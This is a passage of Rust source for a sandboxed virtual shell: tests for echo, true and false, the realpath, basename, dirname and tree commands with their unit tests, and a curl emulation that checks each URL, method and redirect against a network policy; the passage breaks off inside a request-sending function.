#[test]\n    fn echo_escape_stop_output() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"-e\".into(), \"hello\\\\cworld\".into()], &ctx);\n        assert_eq!(result.stdout, \"hello\");\n    }\n\n    #[test]\n    fn echo_non_flag_dash_arg() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"-z\".into(), \"hello\".into()], &ctx);\n        assert_eq!(result.stdout, \"-z hello\\n\");\n    }\n\n    #[test]\n    fn echo_combined_flags() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"-ne\".into(), \"hello\\\\nworld\".into()], &ctx);\n        assert_eq!(result.stdout, \"hello\\nworld\");\n    }\n\n    #[test]\n    fn true_succeeds() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        assert_eq!(TrueCommand.execute(&[], &ctx).exit_code, 0);\n    }\n\n    #[test]\n    fn false_fails() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        assert_eq!(FalseCommand.execute(&[], &ctx).exit_code, 1);\n    }\n}\n","/home/user/src/commands/navigation.rs":"//! Navigation commands: realpath, basename, dirname, tree\n\nuse super::CommandMeta;\nuse crate::commands::{CommandContext, CommandResult};\nuse crate::vfs::NodeType;\nuse std::path::{Path, PathBuf};\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n// ── realpath ─────────────────────────────────────────────────────────\n\npub struct RealpathCommand;\n\nstatic REALPATH_META: CommandMeta = CommandMeta {\n    name: \"realpath\",\n    synopsis: \"realpath [PATH ...]\",\n    description: \"Print the resolved absolute pathname.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for RealpathCommand {\n    fn name(&self) -> &str {\n        \"realpath\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&REALPATH_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut operands = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // ignore flags\n            } else {\n                operands.push(arg.as_str());\n            }\n        }\n\n        if operands.is_empty() {\n            return CommandResult {\n                stderr: \"realpath: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for op in operands {\n            let path = resolve_path(op, ctx.cwd);\n            match ctx.fs.canonicalize(&path) {\n                Ok(resolved) => {\n                    stdout.push_str(&resolved.to_string_lossy());\n                    stdout.push('\\n');\n                }\n                Err(e) => {\n                    stderr.push_str(&format!(\"realpath: {}: {}\\n\", op, e));\n                    exit_code = 1;\n                }\n            }\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── basename ─────────────────────────────────────────────────────────\n\npub struct BasenameCommand;\n\nstatic BASENAME_META: CommandMeta = CommandMeta {\n    name: \"basename\",\n    synopsis: \"basename NAME [SUFFIX]\",\n    description: \"Strip directory and suffix from filenames.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for BasenameCommand {\n    fn name(&self) -> &str {\n        \"basename\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&BASENAME_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let mut operands: Vec<&str> = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // ignore flags\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.is_empty() {\n            return CommandResult {\n                stderr: \"basename: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let path = operands[0];\n        let suffix = operands.get(1).copied().unwrap_or(\"\");\n\n        let base = if path == \"/\" {\n            \"/\".to_string()\n        } else {\n            let trimmed = path.trim_end_matches('/');\n            Path::new(trimmed)\n                .file_name()\n                .map(|n| n.to_string_lossy().to_string())\n                .unwrap_or_else(|| \"/\".to_string())\n        };\n\n        let result = if !suffix.is_empty() && base.ends_with(suffix) && base != suffix {\n            base[..base.len() - suffix.len()].to_string()\n        } else {\n            base\n        };\n\n        CommandResult {\n            stdout: format!(\"{result}\\n\"),\n            ..Default::default()\n        }\n    }\n}\n\n// ── dirname ──────────────────────────────────────────────────────────\n\npub struct DirnameCommand;\n\nstatic DIRNAME_META: CommandMeta = CommandMeta {\n    name: \"dirname\",\n    synopsis: \"dirname NAME ...\",\n    description: \"Strip last component from file name.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for DirnameCommand {\n    fn name(&self) -> &str {\n        \"dirname\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&DIRNAME_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let mut operands: Vec<&str> = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // ignore flags\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.is_empty() {\n            return CommandResult {\n                stderr: \"dirname: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        for op in operands {\n            let dir = if op == \"/\" {\n                \"/\".to_string()\n            } else {\n                let trimmed = op.trim_end_matches('/');\n                Path::new(trimmed)\n                    .parent()\n                    .map(|p| {\n                        let s = p.to_string_lossy().to_string();\n                        if s.is_empty() { \".\".to_string() } else { s }\n                    })\n                    .unwrap_or_else(|| \".\".to_string())\n            };\n            stdout.push_str(&dir);\n            stdout.push('\\n');\n        }\n\n        CommandResult {\n            stdout,\n            ..Default::default()\n        }\n    }\n}\n\n// ── tree ─────────────────────────────────────────────────────────────\n\npub struct TreeCommand;\n\nstatic TREE_META: CommandMeta = CommandMeta {\n    name: \"tree\",\n    synopsis: \"tree [DIRECTORY]\",\n    description: \"List contents of directories in a tree-like format.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for TreeCommand {\n    fn name(&self) -> &str {\n        \"tree\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TREE_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut target = \".\";\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // ignore flags\n                continue;\n            }\n            target = arg;\n            break;\n        }\n\n        let path = resolve_path(target, ctx.cwd);\n\n        if !ctx.fs.exists(&path) {\n            return CommandResult {\n                stderr: format!(\"tree: '{}': No such file or directory\\n\", target),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = format!(\"{target}\\n\");\n        let mut dir_count: u64 = 0;\n        let mut file_count: u64 = 0;\n\n        tree_recursive(ctx, &path, \"\", &mut stdout, &mut dir_count, &mut file_count);\n\n        stdout.push_str(&format!(\n            \"\\n{} directories, {} files\\n\",\n            dir_count, file_count\n        ));\n\n        CommandResult {\n            stdout,\n            ..Default::default()\n        }\n    }\n}\n\nfn tree_recursive(\n    ctx: &CommandContext,\n    path: &Path,\n    prefix: &str,\n    out: &mut String,\n    dir_count: &mut u64,\n    file_count: &mut u64,\n) {\n    let entries = match ctx.fs.readdir(path) {\n        Ok(e) => e,\n        Err(_) => return,\n    };\n\n    let mut sorted: Vec<_> = entries\n        .into_iter()\n        .filter(|e| !e.name.starts_with('.'))\n        .collect();\n    sorted.sort_by(|a, b| a.name.cmp(&b.name));\n\n    let count = sorted.len();\n    for (i, entry) in sorted.iter().enumerate() {\n        let is_last = i == count - 1;\n        let connector = if is_last { \"└── \" } else { \"├── \" };\n        let child_prefix = if is_last { \"    \" } else { \"│   \" };\n\n        out.push_str(&format!(\"{prefix}{connector}{}\\n\", entry.name));\n\n        if entry.node_type == NodeType::Directory {\n            *dir_count += 1;\n            tree_recursive(\n                ctx,\n                &path.join(&entry.name),\n                &format!(\"{prefix}{child_prefix}\"),\n                out,\n                dir_count,\n                file_count,\n            );\n        } else {\n            *file_count += 1;\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::{CommandContext, VirtualCommand};\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn setup() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.mkdir_p(Path::new(\"/usr/bin\")).unwrap();\n        fs.write_file(Path::new(\"/usr/bin/sort\"), b\"\").unwrap();\n        fs.mkdir_p(Path::new(\"/a/b\")).unwrap();\n        fs.write_file(Path::new(\"/a/b/c.txt\"), b\"data\").unwrap();\n        fs.write_file(Path::new(\"/a/x.txt\"), b\"data\").unwrap();\n        (\n            fs,\n            HashMap::new(),\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    fn ctx<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits,\n            network_policy,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    // ── basename tests ───────────────────────────────────────────────\n\n    #[test]\n    fn basename_simple() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = BasenameCommand.execute(&[\"/usr/bin/sort\".into()], &c);\n        assert_eq!(r.stdout, \"sort\\n\");\n        assert_eq!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn basename_with_suffix() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = BasenameCommand.execute(&[\"file.txt\".into(), \".txt\".into()], &c);\n        assert_eq!(r.stdout, \"file\\n\");\n    }\n\n    #[test]\n    fn basename_trailing_slash() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = BasenameCommand.execute(&[\"/usr/bin/\".into()], &c);\n        assert_eq!(r.stdout, \"bin\\n\");\n    }\n\n    #[test]\n    fn basename_root() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = BasenameCommand.execute(&[\"/\".into()], &c);\n        assert_eq!(r.stdout, \"/\\n\");\n    }\n\n    #[test]\n    fn basename_missing() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = BasenameCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── dirname tests ────────────────────────────────────────────────\n\n    #[test]\n    fn dirname_simple() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DirnameCommand.execute(&[\"/usr/bin/sort\".into()], &c);\n        assert_eq!(r.stdout, \"/usr/bin\\n\");\n    }\n\n    #[test]\n    fn dirname_no_dir() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DirnameCommand.execute(&[\"file.txt\".into()], &c);\n        assert_eq!(r.stdout, \".\\n\");\n    }\n\n    #[test]\n    fn dirname_root() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DirnameCommand.execute(&[\"/\".into()], &c);\n        assert_eq!(r.stdout, \"/\\n\");\n    }\n\n    #[test]\n    fn dirname_missing() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DirnameCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── realpath tests ───────────────────────────────────────────────\n\n    #[test]\n    fn realpath_absolute() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RealpathCommand.execute(&[\"/a/b/c.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/a/b/c.txt\"));\n    }\n\n    #[test]\n    fn realpath_missing() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RealpathCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── tree tests ───────────────────────────────────────────────────\n\n    #[test]\n    fn tree_basic() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = TreeCommand.execute(&[\"/a\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"b\"));\n        assert!(r.stdout.contains(\"x.txt\"));\n        assert!(r.stdout.contains(\"directories\"));\n        assert!(r.stdout.contains(\"files\"));\n    }\n\n    #[test]\n    fn tree_nonexistent() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = TreeCommand.execute(&[\"/nope\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn tree_nested() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = TreeCommand.execute(&[\"/a\".into()], &c);\n        assert!(r.stdout.contains(\"c.txt\"));\n    }\n}\n","/home/user/src/commands/net.rs":"//! Network commands: curl\n\nuse crate::commands::{CommandContext, CommandMeta, CommandResult};\nuse crate::network::NetworkPolicy;\nuse std::io::Read;\nuse std::path::PathBuf;\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n// ── Argument parsing ─────────────────────────────────────────────────\n\n#[derive(Debug, Default)]\nstruct CurlOpts {\n    url: Option<String>,\n    method: Option<String>,\n    headers: Vec<(String, String)>,\n    data: Option<String>,\n    output_file: Option<String>,\n    fail_on_error: bool,\n    follow_redirects: bool,\n    include_headers: bool,\n    write_out: Option<String>,\n    head_request: bool,\n    verbose: bool,\n    // -s, -S, -k are accepted but have no effect\n}\n\nfn parse_curl_args(args: &[String]) -> Result<CurlOpts, CommandResult> {\n    let mut opts = CurlOpts::default();\n    let mut i = 0;\n\n    while i < args.len() {\n        let arg = &args[i];\n        match arg.as_str() {\n            \"-X\" | \"--request\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"curl: option -X requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.method = Some(args[i].to_uppercase());\n            }\n            \"-H\" | \"--header\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"curl: option -H requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                match parse_header(&args[i]) {\n                    Some(pair) => opts.headers.push(pair),\n                    None => {\n                        return Err(CommandResult {\n                            stderr: format!(\"curl: invalid header format: {}\\n\", args[i]),\n                            exit_code: 2,\n                            ..Default::default()\n                        });\n                    }\n                }\n            }\n            \"-d\" | \"--data\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"curl: option -d requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.data = Some(args[i].clone());\n            }\n            \"-o\" | \"--output\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"curl: option -o requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.output_file = Some(args[i].clone());\n            }\n            \"-w\" | \"--write-out\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"curl: option -w requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.write_out = Some(args[i].clone());\n            }\n            \"-s\" | \"--silent\" | \"-S\" | \"--show-error\" | \"-k\" | \"--insecure\" => {\n                // Accepted but no-op\n            }\n            \"-f\" | \"--fail\" => opts.fail_on_error = true,\n            \"-L\" | \"--location\" => opts.follow_redirects = true,\n            \"-i\" | \"--include\" => opts.include_headers = true,\n            \"-I\" | \"--head\" => opts.head_request = true,\n            \"-v\" | \"--verbose\" => opts.verbose = true,\n            \"--\" => {\n                // End of options — all remaining args are positional\n                for arg in &args[i + 1..] {\n                    if opts.url.is_some() {\n                        return Err(CommandResult {\n                            stderr: \"curl: multiple URLs not supported\\n\".to_string(),\n                            exit_code: 2,\n                            ..Default::default()\n                        });\n                    }\n                    opts.url = Some(arg.clone());\n                }\n                break;\n            }\n            other if other.starts_with('-') => {\n                // Handle combined short flags like -sS, -sSf, -fsSL, etc.\n                if other.len() > 2 && !other.starts_with(\"--\") {\n                    let chars: Vec<char> = other[1..].chars().collect();\n                    let mut j = 0;\n                    while j < chars.len() {\n                        match chars[j] {\n                            's' | 'S' | 'k' => {} // no-op flags\n                            'f' => opts.fail_on_error = true,\n                            'L' => opts.follow_redirects = true,\n                            'i' => opts.include_headers = true,\n                            'I' => opts.head_request = true,\n                            'v' => opts.verbose = true,\n                            // Flags that consume the next argument\n                            'X' | 'H' | 'd' | 'o' | 'w' => {\n                                // Re-dispatch: remaining chars are the value,\n                                // or next arg is the value\n                                let flag = format!(\"-{}\", chars[j]);\n                                let value = if j + 1 < chars.len() {\n                                    // Rest of combined string is the value\n                                    let val: String = chars[j + 1..].iter().collect();\n                                    Some(val)\n                                } else {\n                                    None\n                                };\n                                let mut sub_args = vec![flag];\n                                if let Some(val) = value {\n                                    sub_args.push(val);\n                                } else {\n                                    i += 1;\n                                    if i >= args.len() {\n                                        return Err(CommandResult {\n                                            stderr: format!(\n                                                \"curl: option -{} requires an argument\\n\",\n                                                chars[j]\n                                            ),\n                                            exit_code: 2,\n                                            ..Default::default()\n                                        });\n                                    }\n                                    sub_args.push(args[i].clone());\n                                }\n                                let sub_args_str: Vec<String> = sub_args.into_iter().collect();\n                                // Recursively parse the extracted flag\n                                let sub_opts = parse_curl_args(&sub_args_str)?;\n                                // Merge relevant fields\n                                if sub_opts.method.is_some() {\n                                    opts.method = sub_opts.method;\n                                }\n                                opts.headers.extend(sub_opts.headers);\n                                if sub_opts.data.is_some() {\n                                    opts.data = sub_opts.data;\n                                }\n                                if sub_opts.output_file.is_some() {\n                                    opts.output_file = sub_opts.output_file;\n                                }\n                                if sub_opts.write_out.is_some() {\n                                    opts.write_out = sub_opts.write_out;\n                                }\n                                // Break out of inner loop since value-consuming\n                                // flag eats the rest\n                                break;\n                            }\n                            c => {\n                                return Err(CommandResult {\n                                    stderr: format!(\"curl: unknown option: -{c}\\n\"),\n                                    exit_code: 2,\n                                    ..Default::default()\n                                });\n                            }\n                        }\n                        j += 1;\n                    }\n                } else {\n                    return Err(CommandResult {\n                        stderr: format!(\"curl: unknown option: {other}\\n\"),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n            }\n            _ => {\n                // Positional argument: URL\n                if opts.url.is_some() {\n                    return Err(CommandResult {\n                        stderr: \"curl: multiple URLs not supported\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.url = Some(arg.clone());\n            }\n        }\n        i += 1;\n    }\n\n    if opts.url.is_none() {\n        return Err(CommandResult {\n            stderr: \"curl: no URL specified\\n\".to_string(),\n            exit_code: 2,\n            ..Default::default()\n        });\n    }\n\n    Ok(opts)\n}\n\nfn parse_header(s: &str) -> Option<(String, String)> {\n    let colon_pos = s.find(':')?;\n    let name = s[..colon_pos].trim().to_string();\n    let value = s[colon_pos + 1..].trim().to_string();\n    if name.is_empty() {\n        return None;\n    }\n    Some((name, value))\n}\n\n// ── Network policy enforcement ───────────────────────────────────────\n\nfn enforce_policy(policy: &NetworkPolicy, url: &str, method: &str) -> Result<(), CommandResult> {\n    if !policy.enabled {\n        return Err(CommandResult {\n            stderr: \"curl: network access is disabled\\n\".to_string(),\n            exit_code: 1,\n            ..Default::default()\n        });\n    }\n\n    if let Err(msg) = policy.validate_url(url) {\n        return Err(CommandResult {\n            stderr: format!(\"curl: {msg}\\n\"),\n            exit_code: 1,\n            ..Default::default()\n        });\n    }\n\n    if let Err(msg) = policy.validate_method(method) {\n        return Err(CommandResult {\n            stderr: format!(\"curl: {msg}\\n\"),\n            exit_code: 1,\n            ..Default::default()\n        });\n    }\n\n    Ok(())\n}\n\n// ── Response body reading with size limit ────────────────────────────\n\nfn read_body_limited(reader: &mut dyn Read, max_size: usize) -> Result<Vec<u8>, String> {\n    let mut buf = vec![0u8; 8192];\n    let mut body = Vec::new();\n\n    loop {\n        match reader.read(&mut buf) {\n            Ok(0) => break,\n            Ok(n) => {\n                if body.len() + n > max_size {\n                    return Err(format!(\n                        \"curl: response body exceeds maximum size ({max_size} bytes)\"\n                    ));\n                }\n                body.extend_from_slice(&buf[..n]);\n            }\n            Err(e) => return Err(format!(\"curl: error reading response: {e}\")),\n        }\n    }\n\n    Ok(body)\n}\n\n// ── Format response headers ──────────────────────────────────────────\n\n// ureq v3 doesn't expose the response HTTP version, so we hardcode HTTP/1.1.\nfn format_response_headers(status: u16, headers: &ureq::http::HeaderMap) -> String {\n    let mut out = format!(\"HTTP/1.1 {status}\\r\\n\");\n    for (name, value) in headers.iter() {\n        out.push_str(&format!(\n            \"{}: {}\\r\\n\",\n            name,\n            value.to_str().unwrap_or(\"<binary>\")\n        ));\n    }\n    out.push_str(\"\\r\\n\");\n    out\n}\n\n// ── CurlCommand ──────────────────────────────────────────────────────\n\npub struct CurlCommand;\n\nstatic CURL_META: CommandMeta = CommandMeta {\n    name: \"curl\",\n    synopsis: \"curl [OPTIONS] URL\",\n    description: \"Transfer data from or to a server.\",\n    options: &[\n        (\"-X, --request METHOD\", \"specify request method\"),\n        (\"-H, --header HEADER\", \"pass custom header to server\"),\n        (\"-d, --data DATA\", \"send data in POST request\"),\n        (\"-o, --output FILE\", \"write output to FILE\"),\n        (\n            \"-w, --write-out FORMAT\",\n            \"display information after transfer\",\n        ),\n        (\"-f, --fail\", \"fail silently on server errors\"),\n        (\"-L, --location\", \"follow redirects\"),\n        (\"-i, --include\", \"include response headers in output\"),\n        (\"-I, --head\", \"fetch headers only\"),\n        (\"-v, --verbose\", \"make the operation more talkative\"),\n        (\"-s, --silent\", \"silent mode\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for CurlCommand {\n    fn name(&self) -> &str {\n        \"curl\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&CURL_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let opts = match parse_curl_args(args) {\n            Ok(o) => o,\n            Err(r) => return r,\n        };\n\n        let url = opts.url.as_deref().unwrap();\n        let mut method = if let Some(ref m) = opts.method {\n            m.clone()\n        } else if opts.head_request {\n            \"HEAD\".to_string()\n        } else if opts.data.is_some() {\n            \"POST\".to_string()\n        } else {\n            \"GET\".to_string()\n        };\n\n        // Enforce network policy\n        if let Err(r) = enforce_policy(ctx.network_policy, url, &method) {\n            return r;\n        }\n\n        let policy = ctx.network_policy;\n\n        // Build ureq agent: disable automatic redirects so we can validate each hop,\n        // and disable treating HTTP status codes as errors so we handle them ourselves.\n        let config = ureq::Agent::config_builder()\n            .max_redirects(0)\n            .timeout_global(Some(policy.timeout))\n            .http_status_as_error(false)\n            .build();\n        let agent: ureq::Agent = config.into();\n\n        let mut current_url = url.to_string();\n        let mut redirects_followed: usize = 0;\n        let mut stderr = String::new();\n\n        loop {\n            if opts.verbose {\n                stderr.push_str(&format!(\"> {method} {current_url}\\n\"));\n                for (name, value) in &opts.headers {\n                    stderr.push_str(&format!(\"> {name}: {value}\\n\"));\n                }\n            }\n\n            // Build and send the request. ureq v3 uses typestates to\n            // distinguish body-carrying methods from no-body methods, so we\n            // must dispatch through `send_request` which handles both paths.\n            let result = send_request(&agent, &current_url, &method, &opts);\n\n            let mut response = match result {\n                Ok(resp) => resp,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"curl: {e}\\n\"),\n                        exit_code: 1,\n                        ..Default::default()\n                    };\n                }\n            };\n\n            let status = response.status().as_u16();\n\n            if opts.verbose {\n                stderr.push_str(&format!(\"< HTTP/1.1 {status}\\n\"));\n                for (name, value) in response.headers().iter() {\n                    stderr.push_str(&format!(\n                        \"< {}: {}\\n\",\n                        name,\n                        value.to_str().unwrap_or(\"<binary>\")\n                    ));\n                }\n            }\n\n            // Handle redirects (RFC 7231 method semantics):\n            // 301/302/303: change to GET, drop body\n            // 307/308: preserve original method and body\n            if opts.follow_redirects && is_redirect(status) {\n                redirects_followed += 1;\n                if redirects_followed > policy.max_redirects {\n                    return CommandResult {\n                        stderr: format!(\n                            \"curl: maximum redirects ({}) followed\\n\",\n                            policy.max_redirects\n                        ),\n                        exit_code: 47,\n                        ..Default::default()\n                    };\n                }\n\n                let location = match response.headers().get(\"location\") {\n                    Some(loc) => loc.to_str().unwrap_or(\"\").to_string(),\n                    None => {\n                        return CommandResult {\n                            stderr: \"curl: redirect with no Location header\\n\".to_string(),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n\n                // Resolve relative redirect URLs\n                let next_url = resolve_redirect_url(&current_url, &location);\n\n                // Per RFC 7231: 301/302/303 change method to GET\n                let next_method = match status {\n                    301..=303 => \"GET\".to_string(),\n                    _ => method.clone(), // 307/308 preserve method\n                };\n\n                // Validate redirect target and method against network policy\n                if let Err(r) = enforce_policy(policy, &next_url, &next_method) {\n                    return r;\n                }\n\n                if opts.verbose {\n                    stderr.push_str(&format!(\"* Following redirect to {next_url}\\n\"));\n                }\n                current_url = next_url;\n                method = next_method;\n                continue;\n            }\n\n            // Read response body with size limit\n            let body_bytes = if opts.head_request {\n                Vec::new()\n            } else {\n                match read_body_limited(\n                    &mut response.body_mut().as_reader(),\n                    policy.max_response_size,\n                ) {\n                    Ok(b) => b,\n                    Err(msg) => {\n                        return CommandResult {\n                            stderr: format!(\"{msg}\\n\"),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                }\n            };\n\n            let body_text = String::from_utf8_lossy(&body_bytes).to_string();\n\n            // Build output\n            let mut stdout = String::new();\n\n            // Check -f/--fail before writing body (real curl suppresses body on error)\n            let is_http_error = opts.fail_on_error && status >= 400;\n\n            if opts.include_headers {\n                stdout.push_str(&format_response_headers(status, response.headers()));\n            }\n\n            if !is_http_error {\n                // Write body to file or stdout\n                if let Some(ref path) = opts.output_file {\n                    let full_path = resolve_path(path, ctx.cwd);\n                    if let Err(e) = ctx.fs.write_file(&full_path, &body_bytes) {\n                        return CommandResult {\n                            stderr: format!(\"curl: error writing to {path}: {e}\\n\"),\n                            exit_code: 23,\n                            ..Default::default()\n                        };\n                    }\n                } else {\n                    stdout.push_str(&body_text);\n                }\n            }\n\n            // Handle -w/--write-out\n            if let Some(ref fmt) = opts.write_out {\n                let expanded = fmt.replace(\"%{http_code}\", &status.to_string());\n                stdout.push_str(&expanded);\n            }\n\n            let exit_code = if is_http_error {\n                stderr.push_str(&format!(\n                    \"curl: (22) The requested URL returned error: {status}\\n\"\n                ));\n                22\n            } else {\n                0\n            };\n\n            return CommandResult {\n                stdout,\n                stderr,\n                exit_code,\n                stdout_bytes: None,\n            };\n        }\n    }\n}\n\n/// Send an HTTP request using the appropriate ureq typestate path.\n///\n/// ureq v3 returns different builder types for methods with/without bodies,\n/// so we dispatch here and return the unified `Response<Body>`.\nfn send_request(\n    agent: &ureq::Agent,\n    url: &str,\n    method: &str,\n    opts: &CurlOpts,\n) -> 